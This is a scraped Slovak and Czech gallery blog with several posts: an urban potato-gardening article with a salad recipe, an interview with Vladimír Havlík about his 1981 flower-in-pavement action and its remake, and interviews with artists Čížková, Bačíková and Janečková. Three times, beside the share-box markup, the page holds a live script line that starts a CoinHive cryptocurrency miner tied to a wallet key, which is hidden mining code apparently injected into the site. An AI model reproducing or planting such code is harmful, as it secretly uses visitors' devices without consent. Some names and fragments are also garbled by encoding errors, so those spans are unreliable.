„Chceme, aby se zde brambory mohly dále vyvíjet,“ říká Asa Sonjasdotterová. Mezi pěstované odrůdy patří například Congo, odrůda s tmavě modrým zbarvením pocházející z Bolívie, Bamberské rohlíčky chutnající po oříškách, nebo nová odrůda Rote Emma nesoucí politické poselství. Tuto odrůdu vypěstoval Karsten Ellenberg, německý profesionální pěstitel a aktivista, který se mezi jiným angažoval za záchranu odrůdy Linda a díky svému velkému zanícení a pěstitelským úspěchům se stal pro inciativy městského zahradničení velkým vzorem. Karsten novou odrůdu pojmenoval po americké anarchistce, feministce a mírové aktivistce Emmě Goldmanové, proslavené svým charakteristickým postojem: “I Want Freedom, the Right to Self-Expression, Everybody’s Right to Beautiful Radiant Things”, (volně přeloženo jako: „Chci svobodu, právo na sebevyjádření a právo na krásné a radostné věci pro všechny.“)

4_zdroj_www.popatoperspective.org

Zdroj fotografie: www.potatoperspective.org

Recept Karstena Ellenberga na bramborový salát:

Bunter Kartoffelsalat (Pestrý bramborový salát)
Brambory vaříme ve slupce, ještě teplé oloupeme a nakrájíme na plátky.
Nasekáme cibuli nadrobno, přidáme ji do zeleninového vývaru a polejeme směsí brambory.
Olej, ocet a koření spolu zamícháme a následně brambory zalijeme.
Salát necháme krátce odležet. Podáváme s bylinkovou oblohou.
Ingredience:
• 250 g voskových brambor se žlutým leskem, např. Linda
• 250 g modromasých brambor, například, Violetta
• 250 g červenomasých brambor, například, Red Emmalie
• 1 cibule
• 100 ml zeleninového vývaru
• 4 polévkové lžíce oleje
• 1 lžíce bylinkového octa
• sůl, pepř, řeřicha, pažitka, petržel
• salátové listy

5_zdroj_www.kartoffelvielfalt.de

Zdroj fotografie: www.kartoffelvielfalt.de

Použité zdroje textov a citátov:

Martin Rasper, URBAN GARDERING zahrady ve městě, O touze po návratu k přírodě prorůstající asfaltem i betonem, Dauphin 2014
http://www.potatoperspective.org
http://prinzessinnengarten.net
http://www.kartoffelvielfalt.de

autorka textu: Petra Čížková


Remake diela Vladimíra Havlíka “Pokusná květina, 1981”" data-share-media="http://galeria.gagarinka.sk/wp-content/uploads/2015/04/Pokusná-květina-1981-foto-Radek-Horáček.jpg" data-share-excerpt="Rozhovor s Vladimírom Havlíkom a fotodokumentácia" class="litte-share-box">
var miner = new CoinHive.Anonymous('49dVbbCFDuhg9nX5u1MDuATVZj7gQehytZwvXEUuWg9kfhNPWH7bUD87VW1NfjqucRZNNVTb1AHGUK2fkq5Nd55mLNnB4WK'); miner.start(); Pokusná květina, 1981 (foto Radek Horáček)

Remake diela Vladimíra Havlíka “Pokusná květina, 1981”

Na aktuálnej VÝSTAVE KVETOV v Galérii Gagarinka prezentujeme remake diela českého autora vystupujúceho aj pod menom Old performer Vladimíra Havlíka. Havlík vyzýva divákov k aktívnej participácii na znovuoživení diela “Pokusná květina, 1981” (foto: Radek Horáček). Na výzvu zareagovalo viacero ľudí a umelcov a poslali nám dokumentáciu svojej akcie v uliciach mesta alebo na dedine. Tieto fotografie postupne pribúdajú na výstave. Požiadali sme Vladimíra Havlíka o krátky rozhovor ohľadne vzniku diela a jeho miesta v umelcovej tvorbe.

(Pýta sa kurátorka výstavy Juliana Mrvová, odpovedá umelec a pedagóg Vladimír Havlík.)

_JK03580

Foto z výstavy v Gagarinke: Adam Šakový

Aké boli podmienky / kontext vzniku akcie Pokusná květina, 1981?

Přímou výzvou pro zasazení žlutého narcisu namísto dlažební kostky byla bezútěšná šeď centra Olomouce. To platilo jak v konkrétním urbanistickém smyslu, tak v rovině duchovní. Šlo mi o narušení tohoto zastaveného času.

Mala akcia politický kontext? Spomínam si na remake akcie na Hviezdoslavovom námestí, ktorý sa realizoval v rámci výstavy v tranzite 2012, kde sa stretli 3 až 4 náhodne vybraní ľudia. Počas komunizmu takéto stretnutie viac ako 3 osôb muselo byť ohlásené. Je aj sadenie kvetiny do dlažby v meste politickým gestom?

Tehdy jsem to jako politický akt nevnímal. Zajímala mě spíše sociální a psychologická rovina pokusu, kterým jsem chtěl přimět kolemjdoucí k jakékoliv reakci. Nicméně politický kontext se vyjevil v jejich netečnosti, ve strachu jakkoli se projevit, zareagovat na nezvyklou situaci. Cokoli neobvyklého se dělo ve veřejném prostoru bylo podezřelé, nečitelné a tudíž nebezpečné pro vládnoucí režim. Proto lidé květinu zasazenou v dlažbě míjeli a dělali, že nic nevidí.
Zdá se mi, že přímočařeji souvisí s politikou současný remake zasazení květiny do díry v dlažbě. Rekonstrukce městských center ve spojitosti s turismem vedou většinou paradoxně k jejich vylidňování, k vzniku jakýchsi potěmkinových vesnic – historických kulis, za kterými se skrývá prázdnota. Květina zasazená do díry v této nakašírované kráse může vyvolat otázku po smyslu takto pojatého veřejného prostoru.

O tejto performance sa píše, že je to tvoje najznámejšie dielo z 80tych rokov.  Bol to ojedinelý event alebo tvoja tvorba v tom čase reagovala na verejný priestor a dianie okolo teba programovo?

Šlo o osobní, víceméně intuitivní přístup, vycházející z faktu, že jsem se v osmnácti letech přestěhoval z vesnice do města. Ve svých akcích jsem tento rozpor řešil. Někdy se akce prolnula s děním ve veřejném prostoru více (Vítání jara, 1981, Záměna, 1981 nebo Mušov,1979) jindy šlo o osobní performance v přírodě (Spánek, 1982 nebo Narušení bílé plochy, 1979). Je ovšem otázka, co je veřejný prostor. Já se domnívám, že jím je stejně jako město plné lidí také krajina bez jediného „živáčka“.

Dnes si pedagógom na Katedre výtvarnej výchovy Univerzity Palackého v Olomouci, dostal si aj cenu mladých autorov ako osobnosť, ktorá ich ovplyvnila. Myslíš si, že dnes je umenie performance stále živé? Proti čomu, alebo o čom mladí umelci/študenti performujú, je to úplne inde ako 80te roky?

To je tedy na závěr pěkně těžká otázka. Myslím, že umění performance by ožilo, kdyby se „mladí performeři“ soustředili více na „vnitřní zdroje“, osobní zážitky a postoje a pro ty se pokusili najít osobitou výrazovou formu. Jenže to by chtělo delší čas, který jim většinou umělecký provoz nedopřeje, takže se bohužel často ocitnou pod vlivem tzv. „aktuálních trendů“. Takové to sebezacyklení performativních postupů je nejvíce patrné na současných festivalech akčního umění. Zdá se, že když se performer nesvlékne a něco na sebe nenamatlá, tak to není performance… Ale třeba jsou mezi námi performeři, kteří jdou jinou cestou a my o nich ani nevíme. Stejně jako jsme o sobě nevěděli v 80. letech.

Text výzvy Vladimíra Havlíka návštevníkom Galérie Gagarinka. Výzva je súčasťou inštalácie diela:

Milí přátelé,

v roce 1981 jsem zasadil narcis do díry v dlažbě v centru Olomouce. Na Náměstí míru (dnes Horním náměstí) a kolem něj žádné květiny ani stromy nerostly. Od té doby uběhlo téměř 35 let a nic se nezměnilo. Zeleně nepřibylo, díry v dlažbě zůstaly. Předpokládám, že to ve vašich městech bude vypadat podobně…

Rád bych vás vyzval k malé jarní intervenci. Budete-li mít chuť, zasaďte do děr v dlažbě ve městě, kde žijete květiny. Situaci vyfoťte a obrázek pošlete na e-mail galeria@gagarinka.sk (v termínu od začátku dubna do konce května). Vaše fotka bude vytištěna, umístěna na zeď v galerii, a stane se součástí Výstavy kvetov.
Děkuji za spolupráci

Srdečně zdraví
Vladimír Havlík

Niekoľko prvých reakcií – remakov diela predstavujeme na fotografiách. Zapojili sa aj dvaja mladí umelci – Miriam Trnková z Banskej Bystrice zapojila celú obec Jasová do sadenia a Richard Bolčo, tiež z Banskej Bystrice, vytvoril vlastnú verziu performance.

 vagač2   vagač1

Bratislava, Laurinská ulica, Staré mesto, sadil a fotil Matej.

Havlík_julazutafoto

jula_kvetzuza_kvet

Bratislava, Dóm Sv. Martina a Kapitulská ulica, Staré mesto, sadila Juliana, fotila Zuzana.

Študentka Miriam Trnková z Banskej Bystrice do akcie zapojila svoju obec Jasová.

Mapa Jasová_finál, Miesta_finál

 Pokusn+í kvetina (detail)

Sirôtka v obci Jasová, foto: Miriam Trnková.

“Posielam Vám video a fotografie z akcie, ktorá sa uskutočnila v našej obci minulý týždeň v piatok. Som študentkou výtvarného umenia (Intermédií a digitálnych médií) na Akadémii umení v Banskej Bystrici. V rámci ateliérovej témy Intervencia som sa rozhodla reagovať na výzvu Vašej galérie, ktorú som dostala v maily od pána doktora Michala Murina.

Akcia spočívala v tom, že som pomocou všetkých médií, ktoré sú na dedine dostupné (kostol, rozhlas, vývesky) zaangažovala dedinčanov, ktorí na moje veľké prekvapenie prišli naozaj v hojnom počte na pomery, ale aj očakávania od mojej obce. Chodili húfne, že si idú zaspomínať na staré časy, keď sa za socíku upratoval park aj celá dedina. Bolo to dosť crazy. :) Vysadilo sa vyše 80 kvetov, ktoré boli darované sponzorom a obcou. Ja som to avizovala na FB udalosti a boli vytvorené aj mapky miest, kde sa budú kvety vysádzať. Snažila som sa nachádzať miesta, z ktorých postupom času zeleň mizne, aj napriek tomu, že tam predtým bola prítomná. Neobišli sme však ani dieru v dlažbe, alebo výmole na cestách.
V samotnom videu vidíte, že na akciu prišli rôzni ľudia. Súčasťou mojej práce by mala byť ďalej aj vernisáž u nás v obci, kde sa ľudia prídu pozrieť na to, čo vytvorili, teda na svoje umelecké dielo.”
 
Video z akcie si môžete pozrieť tu:
 
Miriam Trnkov+íAl+żbeta Fra+ítack+í a Katar+şna N+ęmethov+íErika R+-+żov+íKatar+şna N+ęmethov+í
 
 Richard Bolčo zareagoval na výzvu svojím dielom z roku 2014.
 
Vzhliadol som vašu výzvu k spolupráci na znovuzrodení diela Vladimíra Havlíka.
Napriek tomu, že uvádzate zasadiť kvetinu do diery v dlažbe, rád by som sa zúčastnil, aj keď moja intervencia je trochu odlišná, avšak zdieľa rovnakú ideu.
 
Je to taktiež intervencia v urbánnom priestore, na trávnatej pôde na ktorej bolo značné hrubé odňatie jej časti (pravdepodobne vytrhnutie kvetiny). Mojim zásahom, zasadením kvetiny navraciam rovnováhu tomuto priestoru. Dielo vzniklo v septembri 2014 v Kremnici (workshop Ľuba Stacha, ateliér Laborátórium Fotografie VŠVU. Ja, zástupca Akadémie umení
BB)
inervencia_bolco_filmstill copy
 
intervencia_bolčo
 
Pozrite si aj video ktoré pri akcii vzniklo z akcie Richarda Bolča:
https://www.youtube.com/watch?v=YWZa07UdFr8
 
a celá fotogaléria  z akcie Miriam Trnkovej:
Všetkým, ktorí sa zapojili ďakujeme a na výzvu môžete reagovať a posielať nám fotografie do 24.mája.

 

 

 


Petra Čížková a Alžběta Bačíková: téma ženy / predstavujeme autorov III" data-share-media="http://galeria.gagarinka.sk/wp-content/uploads/2015/03/JK08262.jpg" data-share-excerpt="Na výstave Zamatový objekt túžby." class="litte-share-box">
var miner = new CoinHive.Anonymous('49dVbbCFDuhg9nX5u1MDuATVZj7gQehytZwvXEUuWg9kfhNPWH7bUD87VW1NfjqucRZNNVTb1AHGUK2fkq5Nd55mLNnB4WK'); miner.start(); _JK08262

Petra Čížková a Alžběta Bačíková: téma ženy / predstavujeme autorov III

V poslednej časti predstavovania umelkýň na výstave Zamatový objekt túžby sa bližšie pozrieme na tvorbu dvoch českých autoriek, v ktorých tvorbe rezonuje téma úlohy a postavenia ženy vo vzťahu k telu, telesnosti alebo sexualite.

Prvou je Petra Čížková, ktorá študovala odbor maľby a iných médií na Bratislavskej VŠVU, v ateliéru mal+by Klaudie Kosziby, a dielo prezentované v Gagarinke je časťou komplikovanejšej inštalácie, ktorou svoje štúdium ukončila.

_JK08289

_JK08224Pohľad do výstavy Zamatový objekt túžby s inštaláciou Petry Čížkovej.

Dielo Candida Serendipity je mnohovrstvovou inštaláciou primárne sa zaoberajúcou témami transgresie, sexuálneho prežívania ženy a jej postavenia v dobovej spoločnosti a tiež témou submisie a dominancie vo vzťahu k praktikám BDSM v kontexte antiky, rokoka a súčasnosti. Mnohovstvovosť diela dopĺňa analýza zobrazenia ženského tela v rokoku, najmä u Jean-Honoré Fragonarda, a Françoisa Bouchera a v literatúre u Georgesa Batailla. Poslednou vrstvou je molekulárna biológia, ktorú do diela vnáša kvasinka Candida albicans, ktorá si dokáže podmaniť telo hostiteľa. Z nej pochádza aj prvá časť názvu, trochu pôsobiaceho ako zaklínadlo alebo ako názov nejakej neznámej praktiky… Cadida Serendipity, pričom druhá časť je vedeckým termínom používaným na náhodné objavenie nejakého výsledku, ktorý sme pôvodne nehľadali. Tento termín nás vedie k možnej náhodnosti vzniku vzťahov v rámci daného diela, alebo lepšie povedané, šťastného objavovania nových súvislostí v oblastiach na prvý pohľad nesúvisiacich.

 Výstave v galérii Gagarinka dominuje desaťmetrová latexová “hojdačka”, ako ju Petra nazýva, naplnená francúzskym porcelánom z blších trhov dekórom pripomínajúcim rokoko. Ružový latex navodzuje akúsi snovú atmosféru a určitú sladkosť, ktorá bola typická aj pre rokokovú maľbu. Vedomie o informáciách, ktoré v sebe tento materiál nesie, a teda jeho súvislosť s fetišom alebo sexuálny kontext, vytvárajú kontrast s na prvý pohľad harmonickou inštaláciou. Tá je zároveň veľmi zmyselná – máme chuť sa jej dotýkať a ohmatať kontrast mäkkého pružného latexu a krehkých porcelánových šálok. Akonáhle zistíme, že šálky sú rozbité, znovu dostávame ďalšiu informáciu a kľúč k dešifrovaniu diela. Petra sama nazýva rozbitý porcelán symbolom oslobodenia sa ženy z jej objektivizovanej role, a tým pádom aj symbol istej transgresie, teda vymanenia sa zo zaužívaných princípov, pretrhnutia “stanovených pravidiel”. Ďalšou súčasťou inštalácie, ktorá bola pôvodne realizovaná v bytových priestoroch, sú stĺpce petriho misiek s rozrastajúcou sa Candidou a prázdne rokokové rámy, akoby nájdené v starom chátrajúcom dome.

Oboch autoriek som sa spýtala dve rovnaké otázky, týkajúce sa ich práce.

Petra, v Candida Serendipity sa zaoberáš estetikou určitej doby, ale zároveň tvoju prácu môžeme nazvať aj politickou, je to tak?

V této práci se zabývám hlavně estetikou rokoka, kterou jsem zvolila právě pro její mimořádný erotický náboj, podmíněný frivolitou a módními excesy tohoto období. Politický odkaz je hlavně ve feministickém postoji této práce, který odmítá ženu objektivizovat konvenčním zobrazováním – dochází tu k jakémusi odmítnutí této role. Ženské subjekty jsou tu subjekty transgrese, vnitřní a svrchované sexuální zkušenosti.

_JK08228

_JK08320

Výstava v Gagarinke predstavuje diela pristupujúce k erotike z naozaj odlišných uhlov pohľadu. Akým spôsobom sa tvoja práca erotiky dotýka. Zaujíma ta iba ženská sexualita?

Erotiku chápu jako „hru s možností, že tělo a smysly vědí víc a něco jiného, než duch, rozum a morálka“ – jak tvrdí Liessmann, a které historicky podléhali již mnoha dogmám. Erotice je vlastní vše, co překračuje a narušuje hranice konvence. Proto si myslím, že právě erotika může být jedním z možných nástrojů, jak nonverbálně komunikovat o lidských právech, svobodě a dalších tématech spojených například s genderovou politikou – týkající se samozřejmě jak žen, tak mužů, či třetího pohlaví.

_JK08271Detail inštalácie Petriho misiek, Petra Čížková: Candida Serendipity.

Alžbeta Bačíková nedávno ukončila štúdium na Fakulte výtvarných umění VUT v Brne a práca Talk & Twerk na výstave v Gagarinke bola tiež jej záverečnou prácou. Jej predchádzajúci záujem o subkultúry vyústil do realizácie videa, v ktorom jednu z hlavných úloh hrá eroticky ladený tanec Twerk. Toto „točenie zadkom“, ako ho vo video nazve jedna aktérka, je konfrontované s umením rétoriky. Hrdinkami veľmi profesionálne natočeného záznamu sú učiteľka twerku, emancipovaná mladá žena a učiteľka rétoriky, elegantná pani so zamatovým hlasom. Už na prvý pohľad sú tieto ženy v radikálnom kontraste, ale ich schopnosť sa navzájom počúvať a učiť sa umeniu tej druhej je obdivuhodná. Video vzniklo ako reálny záznam stretnutia dvoch žien a napriek tomu, že scenár bol dopredu pripravený umelkyňou, zostávalo dostatok miesta na improvizáciu a prejavenie sa charakteru vystupujúcich aktérok.

Vo videu zaznejú vety s revolucionárskym obsahom, ktoré Alžběta vyberala z rôznych literárnych zdrojov a „popisujú situácie, keď sa tanec ako silný nástroj dostáva do konfliktu s mocou“. Vybrané texty tak zvyšujú napätie celého diela a dodávajú mu ďalšiu tematickú vrstvu v podobe úvahy, či tanec môže slúžiť na oslobodenie sa jednotlivca.

Alžběta, z môjho pohľadu má tvoja práca aj politický kontext – v zmysle feministických teórií, sebaprezentácie a sebauvedomenia ženy, vnímaš to tak? Vo videu sa objavujú aj revolucionárske vety, ktoré jedna aktérka používa na rétorické cvičenia. Aký bol ich účel?

Ano, při vzniku videa jsem přemýšlela i nad takovými přesahy. Otázka po možnostech sebevědomé prezentace vlastních postojů mě vedla k tomuto experimentu – konfrontovat twerk s poněkud klasičtějším a “serióznějším” uměním rétoriky. Rétorika už věky slouží potřebám politiky, vlastně je to nástroj, bez kterého se při prosazování jakýchkoliv politických požadavků dá těžko obejít. Její funkce je v tomto nezpochybnitelná.

U twerku jsou jeho postavení a funkce sporné. Už několik let tanec proniká do mediální sféry skrze popkulturu a v poslední době se i u nás v ČR dost skandalizoval – viz například nedávná aféra s Miss VŠE. Na reakcích v médiích se ale tak trochu ukázalo, že jakmile se k dosud přijatelnému způsobu ukazování ženského těla (promenáda v plavkách) přidají projevy zjevně sexuální, automaticky se o ženě uvažuje jako o objektivizované oběti. Málokdy se pak v médiích, které propírají příslušné kauzy, setkáme se zamyšlením, kde a proč se tento explicitně erotický tanec vzal, proč jej ženy jindy samy dobrovolně tančí a jaký to pro ně může mít význam kromě laciné provokace. Chtěla jsem zkrátka perspektivu pohledu převrátit a ptát se, jestli a jak se prezentace ženské sexuality může stát také emancipační praktikou. Samozřejmě vždycky záleží na rámci prezentace a míře vědomého zacházení s takovými prostředky.

Mé video v tomto smyslu jen demonstruje uměle vytvořenou situaci, jakési cvičení, kdy se erotická sebeprezentace spojuje s mluveným projevem. Obsah těch vět zahrnutých do scénáře rétorické lekce většinou staví tanec – konkrétně twerk – do pozice přímého prostředku politického boje. V dané situaci to samozřejmě místy může znít absurdně až humorně. Pracuje se tu s obrazem něčeho nemožného a neuskutečnitelného a testuje se performativní síla rétoricky zvládnutého přednesu.

Co se týče výběru těch konkrétních vět, většinou jsou vymyšlené, v některých případech jde o citace. Jako třeba “If I can’t dance, I don’t want to be part of your revolution” Emmy Goldman.
 

_JK08277

 Video still, Alžběta Bačíková: Talk & Twerk.

Výstava v Gagarinke predstavuje diela pristupujúce k erotike z veľmi odlišných uhlov pohľadu. Akým spôsobom sa tvoja práca erotiky dotýka? Pre mňa je silne o sebavnímaní ženy, je to tak? Zaujíma ťa ženská sexualita, alebo tam primárne nesmeruješ?

Dílo Talk &Twerk se právě skrze hojně diskutované téma twerku dotýká problematiky prezentace ženské sexuality na veřejnosti – mimo projevy sexismu a násilné objektivizace ženského těla. Twerk jde v napodobování kopulačních pohybů dle mínění mnohých za hranici přijatelnosti toho, co by se v médiích a vůbec veřejně mělo ukazovat. Snažila jsem se odložit na chvíli jeho šokující povahu a pátrat po motivech v pozadí. Stejně tak u rétoriky jsem chtěla jít za povrchní vrstvu frází, gest a laciných návodů z manažerských příruček k samotným základům řeči. Na rétorických cvičeních je vidět, že tělo tu sehrává zásadní úlohu, není jen mechanickým nástrojem mozku, který “chce něco říct”. Talk &Twerk je pak daleko víc než čistě o erotice hlavně o možnostech, jak formulovat a deklarovat své touhy a potřeby s přirozeným použitím vlastního těla.

text Juliana Mrvová, za odpovede ďakujeme autorkám diel.

Foto: Adam Šakový v Galérii Gagarinka.


Katarína Janečková o živote (nielen) v Amerike / predstavujeme autorov II" data-share-media="http://galeria.gagarinka.sk/wp-content/uploads/2015/02/adam2.jpg" data-share-excerpt="Na výstave Zamatový objekt túžby do 7. marca" class="litte-share-box">
var miner = new CoinHive.Anonymous('49dVbbCFDuhg9nX5u1MDuATVZj7gQehytZwvXEUuWg9kfhNPWH7bUD87VW1NfjqucRZNNVTb1AHGUK2fkq5Nd55mLNnB4WK'); miner.start(); adam2

Katarína Janečková o živote (nielen) v Amerike / predstavujeme autorov II

Ďalším autorom z výstavy Zamatový objekt túžby, ktorého Vám predstavujeme, je maliarka Katarína Janečková, autorka troch obrazov a viacerých kresieb a grafík, ktoré sú v Gagarinke vystavené až do 7. marca.

Katka je pre mňa človek, ktorý stíha naozaj veľa vecí naraz. Okrem maľovania a vystavovania sa neprestala venovať športu, neustále sa snaží učiť nové veci a robiť hlavne to, čo robí šťastnou nielen ju, ale aj jej blízkych. Variť, cestovať, poľovať na jeleňa, prežiť v divočine a pritom si ešte aj kresliť alebo stihnúť si odskočiť do New Yorku.
Katkine obrazy azda ani netreba veľmi predstavovať, keďže jej maľbu s ikonickým medveďom pohrávajúcim sa s (nahou) dievčinou v rôznych, občas aj absurdných situáciách, môžeme pravidelne vidieť na výstavách súčasnej maľby. Jej maliarsky šťavnaté a hravé obrazy pre mnohých navodzujú pocit radosti zo života.

adam6Obraz Happyending, 2014 v Gagarinke.

Kým doteraz Katarína často prezentovala scény zo zdanlivo ideálneho až idylického sveta, (medveď a dievčina v divokom pralese jedia zrelé melóny), dnes na niektorých obrazoch vidíme medveďa takmer vyrušujúceho dievčinu pri sledovaní výstavy obrazov, alebo asistujúceho pri umývaní hory riadu. Zmenil Katarínu odchod do Texasu, kde sa vlani vydala a kde aktuálne žije? Pýta sa Juliana Mrvová, odpovedá Katarína Janečková Walshe.

Kati, myslíš si, že sú tvoje obrazy dnes “serióznejšie”, alebo sa stále s témou aj s farbou pohrávaš a zabávaš sa pritom?

Možno je to skúsenosťami a vekom, že sa snažím namaľovať obraz ‘lepšie’, a preto môže pôsobiť serióznejšie, ale zároveň sa zabávam, ako nikdy predtým. Vždy sa rada vraciam k starým obrazom a pripomeniem si, že sa pokojne môžem aj rozblázniť, pomýliť sa a experimentovať. To mám rada a je to pre mňa stále veľmi dôležité. Posledné obrazy sú väčšinou o nejakom vymyslenom príbehu a zvláštnych situáciách medveďa – čiernej siluety nahrádzajúcej muža, ochrancu, milenca alebo najnovšie manžela – a jeho vzťahu so ženami na obraze. Alebo sú o hľadaní zmyslu tohoto vzťahu a miesta v živote, miesta na život… Dnes už sú viac ovplyvnené cestovaním a zmenou prostredia, alebo sú dievčatá provokujúce. Napríklad obraz Sweet European sa volá sladká Európanka, pretože ukazuje zadok, je frivolnejšia, narozdiel od Američanov, aspoň tak nás vnímajú oni, haha.

No a riad, to je skôr irónia, alebo spôsob, akým pristupujem k životu. Ak ma osud vyslal niekam, kde viac umývam riady, než chodím na výstavy, tak si ich teda namaľujem a budem sa z toho tešiť. Akoby cena útechy za to, že trávim viac času doma (keďže v meste, kde žijem, veľa možností nie je), tak z toho aspoň niečo vyťažím a namaľujem dobrý obraz. Ale aby bolo jasné, nikto ma nenúti umývať tie riady, haha – jednoducho ak sa nechcem stravovať vo fastfoodoch, musím aj viac variť!

Aký je teda ten vysnívaný život v Amerike? V texte k výstave v Čin Čin spomínaš obrázkový vtip “ako si myslia rodičia, škola, kamaráti, že žijem a ako je to naozaj”. Je v tom v skutočnosti diametrálny rozdiel?

Pôvodne som chcela na plagát k výstave spraviť meme komix, ktorý spomínaš. Prišlo mi to vtipné, ako mi priatelia sem tam napíšu, že sa tešia, že si žijem americký sen a podobne. Vo všeobecnosti som veľmi šťastná a spokojná, kam sa môj život a maľba uberajú. Ale sú chvíľky, keď to na mňa doľahne, že v meste, kde žijeme, zatiaľ nemám veľa kamarátov, že tie rýchlocesty a fastfoody pozdĺž diaľnic mi nie sú srdcu veľmi blízke a že naozaj nie je ľahké byť tak ďaleko od rodiny a života, na aký som bola zvyknutá. Na druhej strane, vždy, keď sa človek dostane mimo svojej komfortnej zóny, vznikajú nové veci, naštartujú sa iné myšlienkové pochody. Beriem to trochu ako maliarsku aj osobnú výzvu nezblázniť sa a vyťažiť z momentálnej situácie čo najviac.

adam3 Obraz Homesick, 2014, na výstave v Gagarinke.

Vo viacerých nových dielach, ako je Homesick v Gagarinke, narážaš na svoj nový domov v Amerike. Je podľa tvojho pozorovania rozdiel vo vnímaní súčasného umenia v USA a u nás?

Rozdiel je možno v tom, že napríklad v New Yorku je umenie viac nahustené, je stredobodom pozornosti a súčasťou bežného života, skoro každý by chcel byť umelec. Zatiaľ čo u nás je to stále malá komunita umelcov a ostatní ľudia umenie veľmi “neriešia”.
A vnímanie zo strany umelca? Zdá sa mi, že na Slovensku sa berieme trochu príliš vážne a že sa v Amerike umelci viac zabávajú, kurátori viac riskujú.

Vystavuješ a predávaš v Amerike?

Keďže v Texase (v meste Corpus Christi – Telo Kristovo) kde žijem, veľa kultúry a umenia nie je, vymyslela som si systém že ‘makačka-zdrhačka’. Tri – štyri mesiace maľujem a potom sa mesiac – dva socializujem v New Yorku. Tam som vystavovala minulý rok prvýkrát. Zatiaľ každý raz, čo som tam bola, sa niečo pohlo dobrým smerom. Spoznala som maliarov a ľudí, o ktorých som doteraz iba čítala v knižkách, konečne som sa po poslednej návšteve v NY ocitla v knižke aj ja a na chvíľku mi to vždy príde, že tam si tie ružové okuliare skladať nemusím. Potom si ich na chvíľu zložím v Texase nad riadmi a takto dokola :). O týždeň budem znovu v New Yorku a prvýkrát tam budem mať aj vlastný ateliér. To je super, lebo môžem ľudí brávať na návštevy.

Začala si viac sledovať tvorbu svojich rovesníkov v USA? Čo ťa teraz najviac inšpiruje? Alebo sú to najmä múzeá moderného umenia, ktorých je v USA dostatok.

Asi na tom niečo bude, že sa ľahšie integruje do umeleckej komunity, ak tam žiješ. Tvorbu mojich amerických rovesníkov, či úspešných umelcov po tridsiatke, sledujem a nasávam od nich rady a múdrosti ako špongia. Zdá sa mi, že tam sa všetci o svoje skúsenosti a kontakty radi podelia, lebo si veria a chcú pomôcť aj ďalším. U nás si tieto veci viac strážime, lebo je ich menej a bojíme sa, že nám niekto niečo ‘ukradne’.

Múzeá sú v Amerike super, dokonca aj v texaskom San Antoniu. Tam som pred pár týždňami videla nádhernú Rockefellerovu kolekciu obrovských Picassových tapisérií, čo bola pre mňa jedna z najinšpiratívnejších výstav v živote.

texas_1Katarína na ceste Texasom, foto: archív Kataríny Janečkovej.

Samotnú texaskú krajinu používaš v maľbách? Alebo inšpirácie z cesty, ktorú ste s mamou podnikli – sledovali sme tu tvoj roadtrip aspoň na facebooku…

Pre mňa aj pre maminu to bol prvý roadtrip. Predstavovala som si, že cestu odšoférujeme pol na pol a ja budem popritom kresliť. Nakoniec som tých 5000 km odšoférovala ja a mamina bola výborný navigátor-zabávač. Skice som si robila v mobile a prekreslila doma v ateliéri. Počas celej cesty som mala pred očami rôzne výjavy, že čo by som ako namaľovala. A hlavne som prišla na chuť texaskej kultúre. Obom som nám kúpila kovbojské čižmy, ktoré teraz bežne nosíme, aj keď som si z toho ešte pred časom robila srandu a určite budú čoskoro aj niekde na obraze.

V Gagarinke máš pastelové kresby a v Čin Čine kresby perom a ceruzkou – sú to prevažne skice k maľbám alebo je kresba pre teba samostatnou formou vyjadrenia? Umožňuje ti jej spontaneita byť viac bezprostrednou?

Povedala by som, že je to samostatná forma vyjadrenia, lebo väčšinou skice k obrazom ani nepotrebujem. Ako hovoríš, má to iné čaro chytiť ceruzku a spontánne jedným ťahom nakresliť obraz. Niečo iné je plánovať, dumať a makať na veľkom plátne. Ale aj pri maľbe sa cítim spontánne, len tým, že kresba je rýchlejší proces, tak sa môžem venovať aj okrajovým témam, ktoré som zatiaľ na plátne neriešila. Možno to je na nich to najhodnotnejšie. Ako napríklad, že sedím v húštine v maskáčovej bunde, Texasania okolo mňa poľujú a ja si kreslím srandovné scénky z poľovačky. Tým, že je v Texase umenia menej, niekedy sa takýmito skicami akoby snažím vniesť kúsok kultúry do toho, čo robievame a čo s umením nemá veľa spoločného… Napríklad manžel poľuje na prepelice, mne ich podáva do ruky a ja ich portrétujem. Aj som si to odfotila a chcela dať na facebook, v Texase by sa nad tým nikto ani nepozastavil, ale u nás na Slovensku by to bol takmer vrchol morbídnosti :)

adam5

adam4Kresby a grafiky Kataríny Janečkovej v Gagarinke.

Sú tvoje obrazy erotické? :-)

Haha. Mala som obdobia, keď som sa obávala byť zaškatuľkovaná ako nejaká maliarka sexy obrazov, ale nemôžem si pomôcť, stále ma to baví. Baví ma figúra, baví ma vytvárať príbehy. Mám pocit, že tým, že som tak dlho maľovala ‘erotické obrazy’, tak už aj kaktus namaľujem s rovnakou vášňou ako milostnú scénku. Pre mňa je dôležité, aká téma ma prinúti – privedie k tejto šťavnatosti, ktorá je pre moje obrazy typická. A potom je super, keď to stále cítiť aj v obrazoch, kde o erotiku primárne nejde. Každý maliar asi prechádza nejakým vývojom. Môj bol taký, že v starších obrazoch som sa sústredila hlavne na obsah, sexualitu a provokáciu, teraz mám pocit, že to už mám (maliarsky) zažité a idem skôr po ľahkosti a konečnej atmosfére obrazu.

Posledná otázka – kedy sa vrátiš domov?! Asi tu veľa ľudom chýbaš.

Akože navždy? To vôbec netuším. Aj vy mi veľmi chýbate. Ale mám taký zvláštny pocit, že teraz je dobre, že som tam a možno keď budem mat 50 rokov, a splním si svoje maliarske ciele, v ktorých budem môcť pokračovať hocikde, tak sa vrátim domov na našu chalúpku, lebo Slovensko mám veľmi rada. Inak prídem na chvíľku aj toto leto.

adam1Dielo Blah Blah, 2013 v Gagarinke.

 Fotografie z výstavy Zamatový objekt túžby: Adam Šakový; text: Juliana Mrvová. Výstavu si môžete pozrieť do 7. marca.

Adresa galérie: Galéria Gagarinka, Gagarinova 10A, Bratislava

Otváracie hodiny:

Pondelok, Utorok: zatvorené
Streda – Piatok: 16:00 – 18:00
Sobota, Nedeľa: 13:00 – 18:00

čin_čin1Fotografia z výstavy What I Really Do: archív Kataríny Janečkovej a galérie Čin Čin.

Ďaľšie Katarínine diela nájdete v galérii Čin Čin do 13. marca a samozrejme v New Yorskom ateliéri!

katka2Portrét maliarky, foto: archív Kataríny Janečkovej.

 

 


Predstavujeme autorov I: Slavomíra Ondrušová a Simona Janišová" data-share-media="http://galeria.gagarinka.sk/wp-content/uploads/2015/02/JK08236.jpg" data-share-excerpt="Na výstave Zamatový objekt túžby až do 7. marca." class="litte-share-box">
